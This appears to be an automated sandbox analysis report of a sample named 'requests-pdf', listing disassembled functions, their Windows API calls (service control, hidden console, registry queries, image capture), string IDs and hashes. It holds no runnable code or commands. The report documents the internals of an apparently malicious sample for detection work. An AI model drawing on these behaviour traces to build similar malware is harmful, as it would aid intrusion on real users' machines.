                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: MetricsSystem
                                                    • String ID:
                                                    • API String ID: 4116985748-0
                                                    • Opcode ID: 5cbd94679aa6c8e7ceff70e29103114ee131790299e318eb9a9968d7a4031cfb
                                                    • Instruction ID: 928f1b056b10b768f566869b0c9e39fed015f0adb742d9b99f9daccd71f82e50
                                                    • Opcode Fuzzy Hash: 5cbd94679aa6c8e7ceff70e29103114ee131790299e318eb9a9968d7a4031cfb
                                                    • Instruction Fuzzy Hash: 96F0D672B043216BCA00EA798C4556FBB97DFD02A4F25083FE6059B341DEB8EC4687D9
                                                    Function 024EC117 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • AllocConsole.KERNEL32 ref: 024EC120
                                                    • GetConsoleWindow.KERNEL32 ref: 024EC126
                                                    • ShowWindow.USER32(00000000,00000000), ref: 024EC139
                                                    • SetConsoleOutputCP.KERNEL32(000004E4), ref: 024EC15E
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Console$Window$AllocOutputShow
                                                    • String ID:
                                                    • API String ID: 4067487056-0
                                                    • Opcode ID: 665a097808b038229c9a37eafed355beb7ea993dcaa7ec452e19bba1328996a1
                                                    • Instruction ID: 9c3f9b3ce6caa4c5c56871cef0bd01227b7a87e84d34b2924de4ec3885e566da
                                                    • Opcode Fuzzy Hash: 665a097808b038229c9a37eafed355beb7ea993dcaa7ec452e19bba1328996a1
                                                    • Instruction Fuzzy Hash: 26017CB1A80305BBEA10BBF1DC8AF9D77ADBB14B01F500422B604EB1D1FAA895444E1D
                                                    Function 024E9E87 Relevance: 6.0, APIs: 4, Instructions: 44serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020), ref: 024E9E96
                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000020), ref: 024E9EAA
                                                    • CloseServiceHandle.ADVAPI32(00000000), ref: 024E9EB7
                                                    • ControlService.ADVAPI32(00000000,00000001,?), ref: 024E9EC6
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Service$Open$CloseControlHandleManager
                                                    • String ID:
                                                    • API String ID: 1243734080-0
                                                    • Opcode ID: b7b71ddbdcb9800aa748b97a69a48af82292e20b181655901ef109c96cd029b9
                                                    • Instruction ID: 74d32ff2c17011e8663c895c98383687f0744248b999e0a3d965b1028cb14eef
                                                    • Opcode Fuzzy Hash: b7b71ddbdcb9800aa748b97a69a48af82292e20b181655901ef109c96cd029b9
                                                    • Instruction Fuzzy Hash: E5F096365003187BD711BB65AC89EBF3BACDB45AA2B040036FA06921D2DB64CD46C9B4
                                                    Function 024E9FEE Relevance: 6.0, APIs: 4, Instructions: 44serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040), ref: 024E9FFD
                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000040), ref: 024EA011
                                                    • CloseServiceHandle.ADVAPI32(00000000), ref: 024EA01E
                                                    • ControlService.ADVAPI32(00000000,00000003,?), ref: 024EA02D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Service$Open$CloseControlHandleManager
                                                    • String ID:
                                                    • API String ID: 1243734080-0
                                                    • Opcode ID: 578fdff71443f11c3fca357d736e88dc82f16117349863ef7b695c473245d396
                                                    • Instruction ID: d691853ac5ff5aeda84c9b687a80a115ac7099444370e43c4378db93692dae6f
                                                    • Opcode Fuzzy Hash: 578fdff71443f11c3fca357d736e88dc82f16117349863ef7b695c473245d396
                                                    • Instruction Fuzzy Hash: 5FF09C715003147BD7116F65EC45EBF3BACDB456A1F000076FB0693192DB64CD45C9B5
                                                    Function 024E9F89 Relevance: 6.0, APIs: 4, Instructions: 44serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040), ref: 024E9F98
                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000040), ref: 024E9FAC
                                                    • CloseServiceHandle.ADVAPI32(00000000), ref: 024E9FB9
                                                    • ControlService.ADVAPI32(00000000,00000002,?), ref: 024E9FC8
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Service$Open$CloseControlHandleManager
                                                    • String ID:
                                                    • API String ID: 1243734080-0
                                                    • Opcode ID: e9ecc3ae41f79f47d3bdca3e192fe5417343a180787152718365ee8199a3ebfc
                                                    • Instruction ID: e56c9eb622a71108546d78b711f9b3e545e2d1c1b021c9e2361d78e5f7303d56
                                                    • Opcode Fuzzy Hash: e9ecc3ae41f79f47d3bdca3e192fe5417343a180787152718365ee8199a3ebfc
                                                    • Instruction Fuzzy Hash: 53F0F6325003187BD711AB24AC89EBF3BACDB44AA2B000036FA06A21C2DB64CD46C9B5
                                                    Function 024E9E2B Relevance: 6.0, APIs: 4, Instructions: 39serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,?,?,024E9A81,00000000,00000000), ref: 024E9E34
                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,?,024E9A81,00000000,00000000), ref: 024E9E49
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,024E9A81,00000000,00000000), ref: 024E9E56
                                                    • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,?,024E9A81,00000000,00000000), ref: 024E9E61
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Service$Open$CloseHandleManagerStart
                                                    • String ID:
                                                    • API String ID: 2553746010-0
                                                    • Opcode ID: 413273253f7cbae0f6bd9debfc52a3b8d95171ad4a984208ec06c12d82ce07c5
                                                    • Instruction ID: 1b471d247e15146d6eac5a77db9ec21ff5757fd84d6bc240169668c6839dcb90
                                                    • Opcode Fuzzy Hash: 413273253f7cbae0f6bd9debfc52a3b8d95171ad4a984208ec06c12d82ce07c5
                                                    • Instruction Fuzzy Hash: 89F08972545318AFE211AB35AC88EBF2AACDF85AA2B00043AF602931D1CB64CD46D975
                                                    Function 024D4D18 Relevance: 6.0, APIs: 4, Instructions: 35synchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00475B70,024D4AA6,00000001,?,?,00000000,00475B70,024D1A5A), ref: 024D4D54
                                                    • SetEvent.KERNEL32(?,?,?,00000000,00475B70,024D1A5A), ref: 024D4D60
                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000000,00475B70,024D1A5A), ref: 024D4D6B
                                                    • CloseHandle.KERNEL32(?,?,?,00000000,00475B70,024D1A5A), ref: 024D4D74
                                                      • Part of subcall function 024EA8ED: GetLocalTime.KERNEL32(00000000), ref: 024EA907
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                                                    • String ID:
                                                    • API String ID: 2993684571-0
                                                    • Opcode ID: 68b50adcbc3edbb9d4c8525224eb9d153fc5f31cab3a74662374d300908f4771
                                                    • Instruction ID: 2c3ece74afe705c1632d695cee6048ff8619bdae523f0cf4106aa998f166a700
                                                    • Opcode Fuzzy Hash: 68b50adcbc3edbb9d4c8525224eb9d153fc5f31cab3a74662374d300908f4771
                                                    • Instruction Fuzzy Hash: 4EF0B4754087107FDB1237759D1AA7A7F99AB02311F0049AFF892826B1DA718490DB66
                                                    Function 024EC0D6 Relevance: 6.0, APIs: 4, Instructions: 26COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetStdHandle.KERNEL32(000000F5), ref: 024EC0E0
                                                    • GetConsoleScreenBufferInfo.KERNEL32(00000000,?), ref: 024EC0ED
                                                    • SetConsoleTextAttribute.KERNEL32(00000000,0000000C), ref: 024EC0FA
                                                    • SetConsoleTextAttribute.KERNEL32(00000000,?), ref: 024EC10D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Console$AttributeText$BufferHandleInfoScreen
                                                    • String ID:
                                                    • API String ID: 3024135584-0
                                                    • Opcode ID: ebe4511383e55350cb7437214035f9f9245c880b4d311b5a557d4aca1c5ac6fb
                                                    • Instruction ID: a244d7a230d57866eca8fc9e95df3f98ac44325d25740191cb3216cf39ee9d27
                                                    • Opcode Fuzzy Hash: ebe4511383e55350cb7437214035f9f9245c880b4d311b5a557d4aca1c5ac6fb
                                                    • Instruction Fuzzy Hash: A8E04F62104348ABD31427F5BC8DCAB3B6CE784A13B101536F61290393EA7488448A75
                                                    Function 024EA8A6 Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindResourceA.KERNEL32(0046BC64,0000000A,00000000), ref: 024EA8B7
                                                    • LoadResource.KERNEL32(00000000,?,?,024DE3EA,00000000), ref: 024EA8CB
                                                    • LockResource.KERNEL32(00000000,?,?,024DE3EA,00000000), ref: 024EA8D2
                                                    • SizeofResource.KERNEL32(00000000,?,?,024DE3EA,00000000), ref: 024EA8E1
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Resource$FindLoadLockSizeof
                                                    • String ID:
                                                    • API String ID: 3473537107-0
                                                    • Opcode ID: e32b0715ad7aadeb38a8c4a618404dc1e86643bbbf9351d1ef3d996740a46f90
                                                    • Instruction ID: 0215f44f809973246953752b010c418610ab3b5236c6ece72d1dc1873f52befb
                                                    • Opcode Fuzzy Hash: e32b0715ad7aadeb38a8c4a618404dc1e86643bbbf9351d1ef3d996740a46f90
                                                    • Instruction Fuzzy Hash: 3DE09A7A604710ABCB211BA5BC8CD477E39F786B637144036F90592331DA359851DA58
                                                    Function 0250A4B2 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 266COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: __aulldvrm
                                                    • String ID: +$-
                                                    • API String ID: 1302938615-2137968064
                                                    • Opcode ID: bb05039bd10173984d8ac256ef46a28b781231ebc573ca9b653a1b6ddea24a85
                                                    • Instruction ID: 35ccdc82f9fa5a75d32d736cb442c3ac2530942f554c0c4012f0cce320f14e15
                                                    • Opcode Fuzzy Hash: bb05039bd10173984d8ac256ef46a28b781231ebc573ca9b653a1b6ddea24a85
                                                    • Instruction Fuzzy Hash: 2A91C171D043499BDF20CEA8CCD06EDBFB1BF51224F18865AEA61A73D0E3309941CB59
                                                    Function 00441EDD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __startOneArgErrorHandling.LIBCMT ref: 00441F6D
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorHandling__start
                                                    • String ID: pow
                                                    • API String ID: 3213639722-2276729525
                                                    • Opcode ID: c11d7b0c0eb8e10153fe90c38a808d625a788e1790705f3c08302100bb714254
                                                    • Instruction ID: c296867054112a427edbdd16b3baf579c6faf9d8481746a729c2ad46b2c40409
                                                    • Opcode Fuzzy Hash: c11d7b0c0eb8e10153fe90c38a808d625a788e1790705f3c08302100bb714254
                                                    • Instruction Fuzzy Hash: 2A517B61A1620196F7117714C98137F2BD0DB50741F688D6BF085423F9DF3D8CDA9A4E
                                                    Function 00414B9B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 163COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CountEventTick
                                                    • String ID: >G
                                                    • API String ID: 180926312-1296849874
                                                    • Opcode ID: 8970c785a5fde0425d3bdd382a7839f198ae3ee3428ffa10454bc42c3a0da609
                                                    • Instruction ID: d5b3ec7783a4dd7183bbf31121b5a8e130ff38f85bff4fd723ced1f164cd3d8d
                                                    • Opcode Fuzzy Hash: 8970c785a5fde0425d3bdd382a7839f198ae3ee3428ffa10454bc42c3a0da609
                                                    • Instruction Fuzzy Hash: 1A5170315042409AC624FB71D8A2AEF73A5AFD1314F40853FF94A671E2EF389949C69A
                                                    Function 0044DB34 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCPInfo.KERNEL32(?,?,00000005,?,00000000), ref: 0044DB59
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Info
                                                    • String ID: $fD
                                                    • API String ID: 1807457897-3092946448
                                                    • Opcode ID: 5a1be195421d57dadb90a7404d285975d7b8ac1b4122976fa75ce4288470c48d
                                                    • Instruction ID: 070357306f4c5095a08430c9ceac02bf5c2973ae7142a422f036c1757655e3b4
                                                    • Opcode Fuzzy Hash: 5a1be195421d57dadb90a7404d285975d7b8ac1b4122976fa75ce4288470c48d
                                                    • Instruction Fuzzy Hash: C241FA7090439C9AEB218F24CCC4BF6BBB9DF45308F1404EEE59A87242D279AE45DF65
                                                    Function 02507CE7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • ___except_validate_context_record.LIBVCRUNTIME ref: 02507D1A
                                                    • __IsNonwritableInCurrentImage.LIBCMT ref: 02507DD3
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CurrentImageNonwritable___except_validate_context_record
                                                    • String ID: csm
                                                    • API String ID: 3480331319-1018135373
                                                    • Opcode ID: 47e26074ed3df67517ea761fc7c27dd00097028ab85dfbf9f1f14e41715e449f
                                                    • Instruction ID: 2dd6adfd9a144ff5ab6842f0efd6a8a096e0901a5aaa3da4b9ea238e8d4c0fe7
                                                    • Opcode Fuzzy Hash: 47e26074ed3df67517ea761fc7c27dd00097028ab85dfbf9f1f14e41715e449f
                                                    • Instruction Fuzzy Hash: CB418331A00249EBCB10DF68CCC4AAEBFB5BF89328F148155D8155B2D1D731E915CF95
                                                    Function 02503953 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 103COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: LG$XG
                                                    • API String ID: 0-1482930923
                                                    • Opcode ID: 66ef9e05317a77fc50b7f8bb6c436893fd1b94a9827f47d0b5a451204cd6ab0b
                                                    • Instruction ID: ac997e3d7e9df3a3e40b1bfed94f678fe6d43e4ff9f4e6c61bc1b7a75dec2700
                                                    • Opcode Fuzzy Hash: 66ef9e05317a77fc50b7f8bb6c436893fd1b94a9827f47d0b5a451204cd6ab0b
                                                    • Instruction Fuzzy Hash: 6631D535E00705BADF20DF69DD817997BA6BB41324F1085AADC15AB2D0D7B096409B9C
                                                    Function 00417BDC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SHCreateMemStream.SHLWAPI(00000000,00000000,?,?,?,00000000), ref: 00417C08
                                                      • Part of subcall function 004177A2: 73502440.GDIPLUS(?,?,?,00417C1B,00000000,?,?,?,?,00000000), ref: 004177B6
                                                    • SHCreateMemStream.SHLWAPI(00000000), ref: 00417C55
                                                      • Part of subcall function 00417815: 7351EFB0.GDIPLUS(?,?,?,?,00000000,00417C71,00000000,?,?), ref: 00417827
                                                      • Part of subcall function 004177C5: 73525080.GDIPLUS(?,00417CCC), ref: 004177CE
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateStream$73502440735173525080
                                                    • String ID: image/jpeg
                                                    • API String ID: 441360555-3785015651
                                                    • Opcode ID: c54b99025069d5ee8ebf63b240a23f69e2b107a8cc8e6297c40287d8f8f82ecf
                                                    • Instruction ID: 3dbe320e324aa312c145f712c1d391ec03548c85c69305bb74e69b0931de3aa8
                                                    • Opcode Fuzzy Hash: c54b99025069d5ee8ebf63b240a23f69e2b107a8cc8e6297c40287d8f8f82ecf
                                                    • Instruction Fuzzy Hash: 13315C75508300AFC301AF65C884DAFBBF9FF8A704F000A2EF94597251DB79A905CBA6
                                                    Function 024E7E43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SHCreateMemStream.SHLWAPI(00000000,00000000,?,?,?,00000000), ref: 024E7E6F
                                                    • SHCreateMemStream.SHLWAPI(00000000), ref: 024E7EBC
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateStream
                                                    • String ID: image/jpeg
                                                    • API String ID: 1369699375-3785015651
                                                    • Opcode ID: c54b99025069d5ee8ebf63b240a23f69e2b107a8cc8e6297c40287d8f8f82ecf
                                                    • Instruction ID: b991037ab036fab81f506da66b96aa5cfff4027bff45b636054eab14e3625f1d
                                                    • Opcode Fuzzy Hash: c54b99025069d5ee8ebf63b240a23f69e2b107a8cc8e6297c40287d8f8f82ecf
                                                    • Instruction Fuzzy Hash: B6314B71504200AFC711EF65CC54D6FBBE9FF8A700F00491EF94697211DB759A088BA2
                                                    Function 024D3C77 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 024D3C91
                                                      • Part of subcall function 024EAD9F: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,024D3CA7), ref: 024EADC6
                                                      • Part of subcall function 024E791D: CloseHandle.KERNEL32(024D3D20,?,?,024D3D20,00465324), ref: 024E7933
                                                      • Part of subcall function 024E791D: CloseHandle.KERNEL32($SF,?,?,024D3D20,00465324), ref: 024E793C
                                                      • Part of subcall function 024EB881: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,024D3D5A,00465324), ref: 024EB89A
                                                    • Sleep.KERNEL32(000000FA,00465324), ref: 024D3D63
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                                                    • String ID: 8>G
                                                    • API String ID: 368326130-2084872820
                                                    • Opcode ID: 1a768b4e587f7e37ad4e89c2dbfac3ccd6e7f3946661fbe69184ab2adc4031be
                                                    • Instruction ID: dcee523055dc0513be181a47a5358e85e6cd58c92b5304d39ac9f20f5ac32bdd
                                                    • Opcode Fuzzy Hash: 1a768b4e587f7e37ad4e89c2dbfac3ccd6e7f3946661fbe69184ab2adc4031be
                                                    • Instruction Fuzzy Hash: 3D315231A002185BCB19FBB6DC75EEE7777AF80701F4040AFE90767195EEA05A4ACE51
                                                    Function 004508DE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00450B39,?,00000050,?,?,?,?,?), ref: 004509B9
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: ACP$OCP
                                                    • API String ID: 0-711371036
                                                    • Opcode ID: c357b999de04d1742fe2857fcf8a245ff63c46433d95171d83c673f3fe2cd13c
                                                    • Instruction ID: 7e3e8aaac6bfe0b7539266298c93f9b0706a3ab6a9e9f394231f134d2b8bf5b7
                                                    • Opcode Fuzzy Hash: c357b999de04d1742fe2857fcf8a245ff63c46433d95171d83c673f3fe2cd13c
                                                    • Instruction Fuzzy Hash: 072138EAA04201A6F7348B558801B9B7396AF54B23F164826EC49D730BF739DD49C358
                                                    Function 02520B45 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,02520DA0,?,00000050,?,?,?,?,?), ref: 02520C20
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: ACP$OCP
                                                    • API String ID: 0-711371036
                                                    • Opcode ID: c357b999de04d1742fe2857fcf8a245ff63c46433d95171d83c673f3fe2cd13c
                                                    • Instruction ID: 2698d264da8658946768c33ce7b3ae50ebb14bed4128ef4e71a18b9d7c0239c9
                                                    • Opcode Fuzzy Hash: c357b999de04d1742fe2857fcf8a245ff63c46433d95171d83c673f3fe2cd13c
                                                    • Instruction Fuzzy Hash: CF210BA2A02124AAEB349E54C90479FB796FF66B69F564820E905D71C0F731DD48C35C
                                                    Function 024DB0BF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 02503780: RtlEnterCriticalSection.NTDLL(00470D18), ref: 0250378B
                                                      • Part of subcall function 02503780: RtlLeaveCriticalSection.NTDLL(00470D18), ref: 025037C8
                                                      • Part of subcall function 02503B0C: __onexit.LIBCMT ref: 02503B12
                                                    • __Init_thread_footer.LIBCMT ref: 024DB10E
                                                      • Part of subcall function 02503736: RtlEnterCriticalSection.NTDLL(00470D18), ref: 02503740
                                                      • Part of subcall function 02503736: RtlLeaveCriticalSection.NTDLL(00470D18), ref: 02503773
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit
                                                    • String ID: ,]G$0]G
                                                    • API String ID: 2974294136-589576501
                                                    • Opcode ID: de3fba35412e8d9275b285bd9e157dc8c129506901d01536abad46e7e0bd6fc8
                                                    • Instruction ID: 977797274ba99c97e723760a6ba0d406e72f6092448a2254cfc0dacbee18f7af
                                                    • Opcode Fuzzy Hash: de3fba35412e8d9275b285bd9e157dc8c129506901d01536abad46e7e0bd6fc8
                                                    • Instruction Fuzzy Hash: 5021B131A001099BCB25FBB5DCA0EEEB776EF40304F50446FD90667292EF606E4ACE94
                                                    Function 024DB951 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 024E277A: RegOpenKeyExA.ADVAPI32(80000001,00000400,00000000,00020019,?), ref: 024E279E
                                                      • Part of subcall function 024E277A: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,00000400), ref: 024E27BB
                                                      • Part of subcall function 024E277A: RegCloseKey.ADVAPI32(?), ref: 024E27C6
                                                    • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 024DB9D3
                                                    • PathFileExistsA.SHLWAPI(?), ref: 024DB9E0
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                                                    • String ID: TUF
                                                    • API String ID: 1133728706-3431404234
                                                    • Opcode ID: d94b965c273a091329a6f5a73edda4c14bb16021ab9e8e668cdf3b753880c9a9
                                                    • Instruction ID: 7e54c80c0c3033a3d631ee4e14f39b2bfc741725e6ac708d6ef4c3d52210bee5
                                                    • Opcode Fuzzy Hash: d94b965c273a091329a6f5a73edda4c14bb16021ab9e8e668cdf3b753880c9a9
